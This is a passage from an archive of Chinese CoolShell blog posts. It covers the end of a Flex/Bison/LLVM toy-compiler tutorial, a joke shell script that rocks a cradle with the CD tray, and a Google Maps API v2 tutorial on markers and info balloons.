NVariableDeclaration::codeGen(CodeGenContext&amp; context)\n{\n    std::cout &lt;&lt; \"Creating variable declaration \" &lt;&lt; type.name &lt;&lt; \" \" &lt;&lt; id.name &lt;&lt; endl;\n    AllocaInst *alloc = new AllocaInst(typeOf(type), id.name.c_str(), context.currentBlock());\n    context.locals()[id.name] = alloc;\n    if (assignmentExpr != NULL) {\n        NAssignment assn(id, *assignmentExpr);\n        assn.codeGen(context);\n    }\n    return alloc;\n}\n\nValue* NFunctionDeclaration::codeGen(CodeGenContext&amp; context)\n{\n    vector&lt;const type*&gt; argTypes;\n    VariableList::const_iterator it;\n    for (it = arguments.begin(); it != arguments.end(); it++) {\n        argTypes.push_back(typeOf((**it).type));\n    }\n    FunctionType *ftype = FunctionType::get(typeOf(type), argTypes, false);\n    Function *function = Function::Create(ftype, GlobalValue::InternalLinkage, id.name.c_str(), context.module);\n    BasicBlock *bblock = BasicBlock::Create(\"entry\", function, 0);\n\n    context.pushBlock(bblock);\n\n    for (it = arguments.begin(); it != arguments.end(); it++) {\n        (**it).codeGen(context);\n    }\n\n    block.codeGen(context);\n    ReturnInst::Create(bblock);\n\n    context.popBlock();\n    std::cout &lt;&lt; \"Creating function: \" &lt;&lt; id.name &lt;&lt; endl;\n    return function;\n}\n</pre>\n<p>上述罗列很多的代码，然而这部份代码的含义需要你自己去探索。我在这里只会提及一下你需要注意的内容：</p>\n<ul>\n<li>我们在CodeGenContext类中使用一个语句块的栈来保存最后进入的block(因为语句都被增加到blocks中)\n</li><li>我们同样用个堆栈来保存每组语句块中的<a href=\"http://en.wikipedia.org/wiki/Symbol_table\">符号表</a> </li>\n<li>我们设计的语言只会知道他当前范围内的内容.要支持“全局”上下的做法，你必须向上搜索整个堆栈中每一个语句块，知道你最后发现你匹配的符号(现在我们只是简单地搜索堆栈中最顶层的符号表)。 </li>\n<li>在我们进入一个语句块之前，我们需要将语句块压栈，离开语句块时将语句块出栈 </li>\n</ul>\n<p>剩下的内容都LLVM相关了，在这个主题上我并不是专家。但是迄今为止，我们已经有了编译和运行我们语言的所有代码。</p>\n<p></p><h2>7、编译和运行我们的语言</h2>\n<p></p><h3>7.1、编译我们的语言</h3>\n<p>我们已经有了代码，现在我们怎么运行它？LLVM有着非常复杂的联接link，幸运的是，如果你是自己安装的LLVM，那么你就应该有一个llvm-config二进制程序，这个程序返回你需要的所有编译和联接选项。<br/>\n我们也要同时更新我们的main.cpp的内容使之可以编译和运行我们的代码，这次我们main.cpp的内容如下：</p>\n<pre class=\"EnlighterJSRAW\">\n#include &lt;iostream&gt;\n#include \"codegen.h\"\n#include \"node.h\"\n\nusing namespace std;\n\nextern int yyparse();\nextern NBlock* programBlock;\n\nint main(int argc, char **argv)\n{\n    yyparse();\n    std::cout &lt;&lt; programBlock &lt;&lt; endl;\n\n    CodeGenContext context;\n    context.generateCode(*programBlock);\n    context.runCode();\n\n    return 0;\n}\n</pre>\n<p>现在我们需要这样来编译这些代码<br/>\n$ g++ -o parser <code class=\"EnlighterJSRAW\">llvm-config --libs core jit native --cxxflags --ldflags</code> *.cpp<br/>\n你也可以编写一个Makefile来进行编译</p>\n<pre>\nall: parser\n\nclean:\n\trm parser.cpp parser.hpp parser tokens.cpp\n\nparser.cpp: parser.y\n\tbison -d -o $@ $^\n\nparser.hpp: parser.cpp\n\ntokens.cpp: tokens.l parser.hpp\n\tlex -o $@ $^\n\nparser: parser.cpp codegen.cpp main.cpp tokens.cpp\n\tg++ -o $@ <code class=\"EnlighterJSRAW\">llvm-config --libs core jit native --cxxflags --ldflags</code> *.cpp\n</pre>\n<p></p><h3>7.2、运行我们的语言</h3>\n<p>假设上述所有工作都圆满完成，那么现在你将有一个名为parser的二进制程序。运行它，还记得我们那个典型例子吗？让我们看看我们的编译器工作的如何。</p>\n<pre>\n$ echo 'int do_math(int a) { int x = a * 5 + 3 } do_math(10)' | ./parser\n0x100a00f10\nGenerating code...\nGenerating code for 20NFunctionDeclaration\nCreating variable declaration int a\nGenerating code for 20NVariableDeclaration\nCreating variable declaration int x\nCreating assignment for x\nCreating binary operation 276\nCreating binary operation 274\nCreating integer: 3\nCreating integer: 5\nCreating identifier reference: a\nCreating block\nCreating function: do_math\nGenerating code for 20NExpressionStatement\nGenerating code for 11NMethodCall\nCreating integer: 10\nCreating method call: do_math\nCreating block\nCode is generated.\n; ModuleID = 'main'\n\ndefine internal void @main() {\nentry:\n\t%0 = call i64 @do_math(i64 10)\t\t;  [#uses=0]\n\tret void\n}\n\ndefine internal i64 @do_math(i64) {\nentry:\n\t%a = alloca i64\t\t;  [#uses=1]\n\t%x = alloca i64\t\t;  [#uses=1]\n\t%1 = add i64 5, 3\t;  [#uses=1]\n\t%2 = load i64* %a\t;  [#uses=1]\n\t%3 = mul i64 %2, %1\t;  [#uses=1]\n\tstore i64 %3, i64* %x\n\tret void\n}\nRunning code...\nCode was run.\n</pre>\n<p></p><h2>8、结论</h2>\n<p>是不是非常的酷？我同意如果你只是从这篇文章中拷贝粘贴的话，你可能会对运行得到的结果感觉有点失望，但是这点结果可能也会激发你更大的兴趣。此外，这就是本文的意义，这不是本篇指导文章的结束，这只是一个开始。因为有了这篇文章的介绍，你可以在文法分析，语法分析和装配语言的时候附加上一些疯狂的特性，然后创造出一个你自己命名的语言。你现在已经可以编译语句块了，那么你现在应该已经有如何继续下去的基本想法。<br/>\n本文完整的代码在Github<a href=\"http://github.com/lsegal/my_toy_compiler\">这里</a>。我一直都在避免提到这个代码，因为这个代码不是本文的重点，而仅仅是带过这部分代码。</p>\n<p>我意识到这是一篇非常长的文章，并且这篇文章中难免会有出错的地方，如果你找到了任何问题，在你觉得有空的时候，欢迎你给我发电子邮件，我将会调整我的文章。你如果向想我们共享一些信息，你也可以在你觉得有空的时候写信给我们。</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1654.html\"><img alt=\"Richard Feynman, 挑战者号, 软件工程\" height=\"150\" src=\"../wp-content/uploads/2009/11/250px-ChallengerCrew-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1654.html\">Richard Feynman, 挑战者号, 软件工程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2365.html\"><img alt=\"两个C++的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2365.html\">两个C++的资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/652.html\"><img alt=\"MySQL: InnoDB 还是 MyISAM?\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/652.html\">MySQL: InnoDB 还是 MyISAM?</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1660.html\"><img alt=\"13个不错的Javascript和CSS的菜单\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1660.html\">13个不错的Javascript和CSS的菜单</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7448.html\"><img alt=\"扎克伯格的一封信：关于Facebook IPO\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7448.html\">扎克伯格的一封信：关于Facebook IPO</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1547.html\">使用Flex Bison 和LLVM编写自己的编译器</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-10-12 用脚本实现哄小孩睡觉.html",
    "content": "<html><body><p><img alt=\"baby_linux\" class=\"size-full wp-image-1541 alignright\" height=\"111\" src=\"../wp-content/uploads/2009/10/baby_linux.jpg\" title=\"baby_linux\" width=\"152\"/>当然，不并需要一个天才式的人才能做到这个事，其实这个事情很简单。让我来一点一点向你解释。下面是一些准备工作。</p>\n<ul>\n<li>首先，你得找一台PC机，得配上光驱，光驱可以破一点。</li>\n<li>然后，你得给这台PC机上装上Linux，不需要太多的东西，最基本的就行了。</li>\n<li>然后，你得写下下面的代码。</li>\n</ul>\n<p><span id=\"more-1539\"></span></p>\n<pre class=\"EnlighterJSRAW\">\nwhile [1 = 1]\n do\n\t#弹出光驱\n\teject\n\tsleep 1\n\n\t#收回光驱\n\teject -t\n\tsleep 1\n done\n</pre>\n<p>在运行代码之前，请确保你们小孩的摇篮和PC机的光驱连接在一起。当然，你也可以在脚本中播放一曲催眠曲。注意，脚本其中的sleep 1是为了配合上摇篮的节奏，这样需要你在实际过程中调试一下。</p>\n<p>这样的成本是不是有点高？居然还要达上一台电脑，呵呵。所以，我就不建议你用Windows来实现了，那样的成本可能会更高。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8883.html\"><img alt=\"应该知道的Linux技巧\" height=\"150\" src=\"../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8883.html\">应该知道的Linux技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8619.html\"><img alt=\"你可能不知道的Shell\" height=\"150\" src=\"../wp-content/uploads/2012/11/shell.01-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8619.html\">你可能不知道的Shell</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2987.html\"><img alt=\"用脚本实现哄宝宝睡觉(Demo)\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2987.html\">用脚本实现哄宝宝睡觉(Demo)</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1379.html\"><img alt=\"如何调试bash脚本\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1379.html\">如何调试bash脚本</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1539.html\">用脚本实现哄小孩睡觉</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-10-13 Google Maps API用法教程.html",
    "content": "<html><body><p>在过去的一年中，在线地图的发展是相当巨大，我们可以看到在线地图的极有价值的信息和其能力。这其中，最有名气的自然是Google Maps。. Google Maps由一个相当强大的开发引擎并也有一个很大的社区提示支持。</p>\n<p>Google 允许各种web masters 通过Google Maps API来增加或自定义他们站点特定的地图，你可能从这里取得<a href=\"http://code.google.com/intl/en/apis/maps/signup.html\" target=\"_blank\" title=\"Get a Google Maps API Key\">Google API key </a>。一个地图 API key只对一个“目录”或域有效。key绑定了你的域名，你要在网站上放地图，需要有对应的key，否则拒绝读取地图数据，在本地测试可以不用key。当然，你可以申请多个API key。</p>\n<h4>创建一个简单的地图</h4>\n<p>在你的站点上引入Google Maps 是一件很简单的事情，你只需要加入：</p>\n<p><span id=\"more-1561\"></span></p>\n<ul>\n<li>引入Google的JavaScript 文件</li>\n<li>设置JavaScript 一些参数</li>\n<li>一个你需要显示地图的HTML layer</li>\n</ul>\n<p><strong>Google的Javascript文件引入</strong>:</p>\n<pre class=\"EnlighterJSRAW\">\n&lt;script\n    charset=\"UTF-8\"\n    src=http://maps.google.com/maps?file=api&amp;v=2&amp;hl=en&amp;oe=utf-8&amp;key=API_KEY\n    type=\"text/javascript\"&gt;\n&lt;/script&gt;\n</pre>\n<p><em><strong>注意</strong>：</em> 我们可以改变语言，比如说，把“<strong>hl=en</strong>” 改成中文“<strong>hl=zh-CN</strong>” 。我们还得要把“<strong>API_KEY</strong>” 改成我们向Google申请来的那个。</p>\n<p><strong>说明</strong>: 使用 UTF-8 编码会更好些。</p>\n<p><strong>设置地图参数</strong>:</p>\n<p>这是你可定制有个性化的Google Maps的地方。我们可以增加一些参数来改变地图的样式。例如，我们可以设置地图的载入和显示的坐标。下面是相关的代码：</p>\n<pre class=\"EnlighterJSRAW\">]function initialize() {\n    if (GBrowserIsCompatible()) {\n        var map = new GMap2(document.getElementById(\"map_canvas\"));\n        map.setCenter(new GLatLng(37.97918, 23.71665), 13);\n        map.setUIToDefault();\n    }\n}</pre>\n<p>请注意上面高亮的那一条语句，第一个是纬度坐标和第二个是经度坐标，“13” 表示地图缩放的程度，这个值可以取1 到17。</p>\n<p>要知道所在地点的纬度和经度，你可以使用<a href=\"http://www.satsig.net/maps/lat-long-finder.htm\" target=\"_blank\" title=\"Tool to get the coordinates of a location\">这个工具</a>，这个工具很容易使用，只需要把地图移到你想要的区域，然后，把鼠标放在中心就可以了。</p>\n<h4>地图标记</h4>\n<p>你可以在地图上放上一个标记来标出一个特定的位置，下面是一个示例代码。</p>\n<pre class=\"EnlighterJSRAW\">var point = new GLatLng(37.97110, 23.72601);\nmap.addOverlay(new GMarker(point));</pre>\n<p>于是，我们整个代码看起来是下面这个样子：</p>\n<pre class=\"EnlighterJSRAW\">function initialize() {\n    if (GBrowserIsCompatible()) {\n        var map = new GMap2(document.getElementById(\"map_canvas\"));\n        map.setCenter(new GLatLng(37.97918, 23.71665), 13);\n        var point = new GLatLng(37.97110, 23.72601);\n        map.addOverlay(new GMarker(point));\n        map.setUIToDefault();\n    }\n}</pre>\n<p>上面的示例把我们的地图的中心放在了希腊雅典，标记了雅典卫城。</p>\n<p><strong>气球提示</strong></p>\n<p>气球提示一个很不错的界面，他可以用于放置一些小提示或或是一些信息。例如，下面的代码将放置一个在雅典卫城山上放一个气球提示来显示一些信息：</p>\n<pre class=\"EnlighterJSRAW\">function initialize() {\n    if (GBrowserIsCompatible()) {\n        var map = new GMap2(document.getElementById(\"map_canvas\"));\n        map.setCenter(new GLatLng(37.97110, 23.72601), 13);\n        var html = \"Parthenon 帕台农神庙, 地址: Acropolis Hill\";\n        map.openInfoWindow(map.getCenter(),\n        document.createTextNode(html));\n        map.setUIToDefault();\n    }\n}</pre>\n<h4>活动标记</h4>\n<p>我们可以合并一些标记和气球提示来创建一个活动标记，这样一来，我们可以达到这样的效果——当用户点击某个标记的时候才会显示提示。代码如下所示：</p>\n<pre class=\"EnlighterJSRAW\">function initialize() {\n    if (GBrowserIsCompatible()) {\n        var map = new GMap2(document.getElementById(\"map_canvas\"));\n        map.setCenter(new GLatLng(37.97918, 23.71665), 13);\n        var baseIcon = new GIcon(G_DEFAULT_ICON);\n        baseIcon.shadow = \"http://www.google.com/mapfiles/shadow50.png\";\n        baseIcon.iconSize = new GSize(20, 34);\n        baseIcon.shadowSize = new GSize(37, 34);\n        baseIcon.iconAnchor = new GPoint(9, 34);\n        baseIcon.infoWindowAnchor = new GPoint(9, 2);\n\n        function createMarker(point, index) {\n            var redIcon = new GIcon(baseIcon);\n            redIcon.image = \"http://www.google.com/mapfiles/marker.png\";\n            markerOptions = { icon:redIcon };\n            var marker = new GMarker(point, markerOptions);\n            GEvent.addListener(marker, \"click\", function() {\n                marker.openInfoWindowHtml(\"Parthenon, Address: Acropolis Hill\");\n            });\n            return marker;\n        }\n\n        var latlng = new GLatLng(37.97110, 23.72601);\n        map.addOverlay(createMarker(latlng));\n    }\n}</pre>\n<p>让我来梳理一下上面的代码。下面的部分是在标记下增加一个阴影：</p>\n<pre class=\"EnlighterJSRAW\">var baseIcon = new GIcon(G_DEFAULT_ICON);\nbaseIcon.shadow = \"http://www.google.com/mapfiles/shadow50.png\";\nbaseIcon.iconSize = new GSize(20, 34);\nbaseIcon.shadowSize = new GSize(37, 34);\nbaseIcon.iconAnchor = new GPoint(9, 34);\nbaseIcon.infoWindowAnchor = new GPoint(9, 2);</pre>\n<p>标记的Action是在这里设置的：</p>\n<pre class=\"EnlighterJSRAW\">function createMarker(point, index) {\n    var redIcon = new GIcon(baseIcon);\n    redIcon.image = \"http://www.google.com/mapfiles/marker.png\";\n    markerOptions = { icon:redIcon };\n    var marker = new GMarker(point, markerOptions);\n    GEvent.addListener(marker, \"click\", function() {\n        marker.openInfoWindowHtml(\"Parthenon, Address: Acropolis Hill\");\n    });\n    return marker;\n}</pre>\n<p>这里是我们的标记的坐标：</p>\n<pre class=\"EnlighterJSRAW\">var latlng = new GLatLng(37.97110, 23.72601);\nmap.addOverlay(createMarker(latlng));</pre>\n<h3>载入地图</h3>\n<p>我们可以通过两种方法载入地图。我们可以让地图在整网页载入时载入（通过使用body的load事件），也可以把载入过程赋给其它事件。下面的两个方法是我们需要注意的：</p>\n<ul>\n<li><strong>initialize()</strong> 载入地图</li>\n<li><strong>GUnload()</strong> 卸载地图以释放内存</li>\n</ul>\n<p>我们当然还需要使用HTML的DIV标签来指定一个ID，这样才能被JavaScript使用，在我们的示例中，我们使用“map_canvas”。我们也能使用CSS来渲染这个DIV层。</p>\n<h3>定制地图</h3>\n<p>你可以使用自定义的标记和阴影。有两个工具可以帮助你创建这些图标—— <a href=\"http://gmaps-utility-library.googlecode.com/svn/trunk/mapiconmaker/1.1/examples/markericonoptions-wizard.html\" target=\"_blank\" title=\"Custom Marker Icons\">地图标记</a> 和<a href=\"http://www.cycloloco.com/shadowmaker/\" target=\"_blank\" title=\"Custom Shadows for Maps\"> 阴影</a>。你也可以使用HTML和CSS来定义气球提示。</p>\n<h4>加入多个标记并分组</h4>\n<p>我们可以标记多个地点，并可以把它们根据我们的需要分组。这样一来，我们可以通过不同的标记图标来显示地点的不同属性，比如：酒店，车站等。要做到这样，我们只需要使用一个XML文件，一个简单的XML文件如下所示：</p>\n<pre class=\"EnlighterJSRAW\">\n&lt;markers&gt;\n&lt;marker\n    name=\"标题\"\n    label=\"这是一个标签\"\n    desc=\"气球提示的描述\"\n    lat=\"37.97167\" lng=\"23.72581\"\n    type=\"标签的种类，如 Bridge\"\n    address=\"地址信息\"\n    icona=\"图标\"\n/&gt;\n&lt;/markers&gt;\n</pre>\n<p>你可以在这个XML文件中加入多个地点信息。有一件事你需要小心的是，当出现一一些特定字符时（比如单引号，双引号，<a href=\"mailto:“#@$\">“#@$</a>&lt;&gt;”等），你需要使用HTML的转义。</p>\n<p>使用这XML的脚本如下：</p>\n<p><code class=\"EnlighterJSRAW\">&lt;script src=\"http://gmaps-utility-library.googlecode.com/svn/trunk/labeledmarker/release/src/labeledmarker.js\" type=\"text/javascript\"&gt;&lt;/script&gt;</code></p>\n<p>当然，你需要设置一些参数：</p>\n<pre class=\"EnlighterJSRAW\">var iconRed = new GIcon();\niconRed.image = '../img/marker-red.png';\niconRed.shadow = '';\niconRed.iconSize = new GSize(32, 32);\niconRed.shadowSize = new GSize(22, 20);\niconRed.iconAnchor = new GPoint(16, 16);\niconRed.infoWindowAnchor = new GPoint(5, 1);\nvar customIcons = [];\n\ncustomIcons[\"ancient\"] = iconRed;\nvar markerGroups = { \"ancient\": []};</pre>\n<p>上面，我们给customIcons 的“ancient”属性设置成了iconRed ，于是我们应该在我们的XML文件中使用类型(ancient) ，如果我们把这个XML文件命名为： markers.xml，那么，我们的代码如下：</p>\n<pre class=\"EnlighterJSRAW\">\nGDownloadUrl(\"markers.xml\", function(data) { //We tell Google Maps to load our file\n        var xml = GXml.parse(data);\n        var markers = xml.documentElement.getElementsByTagName(\"marker\"); //and read markers\n        for (var i = 0; i &lt; markers.length; i++) {\n            var name = markers[i].getAttribute(\"name\"); //From here down we assign variables.\n            var label = markers[i].getAttribute(\"label\");\n            var desc = markers[i].getAttribute(\"desc\");\n            var address = markers[i].getAttribute(\"address\");\n            var type = markers[i].getAttribute(\"type\");\n            var icona = markers[i].getAttribute(\"icona\");\n            var point = new GlatLng(parseFloat(markers[i].getAttribute(\"lat\")), //and we set the lat-long\n            parseFloat(markers[i].getAttribute(\"lng\")));\n            var marker = createMarker(point, name, label, desc, address, type, icona);\n            map.addOverlay(marker);\n        }\n    });\n}\n}\n\nfunction createMarker(point, name, label, desc, address, type, icona) {\n    var marker = new LabeledMarker(point, {icon: customIcons[type], labelText: label, labelOffset: new GSize(-6, -8)})\n};\n</pre>\n<p>要分组标记，你需要下面的代码：</p>\n<pre class=\"EnlighterJSRAW\">\n    markerGroups[type].push(marker);\n    var html = \"&lt;img src=\" + icona + \" height=150 border=0 /&gt;&lt;br&gt;&lt;br&gt;&lt;span&gt;&lt;b&gt;\"+ name + \"&lt;/b&gt;&lt;br/&gt;\" +\n            desc + \"&lt;br/&gt;&lt;b&gt;Address:&lt;/b&gt; \" + address + \"&lt;br/&gt;&lt;br/&gt;&lt;span&gt;\";\n    GEvent.addListener(marker, 'click', function() {\n        marker.openInfoWindowHtml(html);\n    });\n    return marker;\n}\n</pre>\n<p>要使用不同的图标，你可以使用相同的方法。</p>\n<pre class=\"EnlighterJSRAW\">var iconRed = new GIcon();\niconRed.image = '../img/marker-red.png';\niconRed.shadow = '';\niconRed.iconSize = new GSize(32, 32);\niconRed.shadowSize = new GSize(22, 20);\niconRed.iconAnchor = new GPoint(16, 16);\niconRed.infoWindowAnchor = new GPoint(5, 1);\n\nvar iconGreen = new GIcon();\niconGreen.image = '../img/marker-green.png';\niconGreen.shadow = '';\niconGreen.iconSize = new GSize(32, 32);\niconGreen.shadowSize = new GSize(22, 20);\niconGreen.iconAnchor = new GPoint(16, 16);\niconGreen.infoWindowAnchor = new GPoint(5, 1);\n\nvar iconBrown = new GIcon();\niconBrown.image = '../img/marker-brown.png';\niconBrown.shadow = '';\niconBrown.iconSize = new GSize(32, 32);\niconBrown.shadowSize = new GSize(22, 20);\niconBrown.iconAnchor = new GPoint(16, 16);\niconBrown.infoWindowAnchor = new GPoint(5, 1);\n\nvar customIcons = [];\n\ncustomIcons[\"hotel\"] = iconRed;\ncustomIcons[\"bridge\"] = iconGreen;\ncustomIcons[\"hill\"] = iconBrown;\nvar markerGroups = { \"hotel\": [], \"bridge\": [], \"hill\": []};</pre>\n<p>所以，如果我们在XML 文件中设置了不同的种类，如：hotel，bridge 和 hill，我们也应该需要不同的颜色和图标。</p>\n<h4>过滤显示标记</h4>\n<p>我们还可以让我们的标记更友好一些。我们可以让用户决定是否显示标记，这样的话，地图上的标记就不会太多，也会根据用户的需求来显示相当的标记。我们可以使用几个按钮，复选框，或是链接来完成这个事情。要做到这个事，你需要在“<em>map.addMapType(G_SATELLITE_3D_MAP); </em>”后面加入下面的代码：</p>\n<pre class=\"EnlighterJSRAW\">document.getElementById(\"hotelCheckbox\").checked = true;\ndocument.getElementById(\"bridgeCheckbox\").checked = true;\ndocument.getElementById(\"hillCheckbox\").checked = true;\ndocument.getElementById(\"labelsCheckbox\").checked = true;\n</pre>\n<p>然后再加入下面的这些 JavaScript 的代码：</p>\n<pre class=\"EnlighterJSRAW\">\nfunction toggleGroup(type) {\n    for (var i = 0; i &lt; markerGroups[type].length; i++) {\n        var marker = markerGroups[type][i];\n        if (marker.isHidden()) {\n            marker.show();\n        } else {\n            marker.hide();\n        }\n    }\n}\n\nfunction toggleLabels() {\n    var showLabels = document.getElementById(\"labelsCheckbox\").checked;\n    for (groupName in markerGroups) {\n        for (var i = 0; i &lt; markerGroups[groupName].length; i++) {\n            var marker = markerGroups[groupName][i];\n            marker.setLabelVisibility(showLabels);\n        }\n    }\n}\n\nfunction hideAll() {\n    var boxes = document.getElementsByName(\"mark\");\n    for(var i = 0; i &lt; boxes.length; i++) {\n        if(boxes[i].checked) {\n            boxes[i].checked = false;\n            switchLayer(false, layers[i].obj);\n            chosen.push(i);\n        }\n    }\n}\n\nfunction checkChecked() {\n    var boxes = document.getElementsByName(\"mark\");\n    for(var i = 0; i &lt; boxes.length; i++) {\n        if(boxes[i].checked) return true;\n    }\n    return false;\n}</pre>\n<p>最后一件事是加如几个checkbox ：</p>\n<pre class=\"EnlighterJSRAW\">\n&lt;input type=\"hidden\" id=\"labelsCheckbox\" onclick=\"toggleLabels()\" checked=”checked” /&gt;\n&lt;label for=”hotelCheckbox”&gt;Hotels&lt;/label&gt;&lt;input type=\"checkbox\" id=\"hotelCheckbox\" onclick=\"toggleGroup('hotel')\" checked=”checked” /&gt;\n&lt;label for=”bridgeCheckbox”&gt;Bridges&lt;/label&gt;&lt;input type=\"checkbox\" id=\"bridgeCheckbox\" onclick=\"toggleGroup('bridge')\" checked=”checked” /&gt;\n</pre>\n<p>我们 Google Maps 就绪了，这篇文章讲述了Google Map API中你应该知道的。希望这篇文章对你有帮助。</p>\n<p>文章：<a href=\"http://jeez.eu/2009/10/09/google-maps-from-a-to-z/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22398.html\"><img alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" height=\"150\" src=\"../wp-content/uploads/2023/02/chatgpt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22398.html\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9508.html\"><img alt=\"PFIF网上寻人协议\" height=\"150\" src=\"../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" 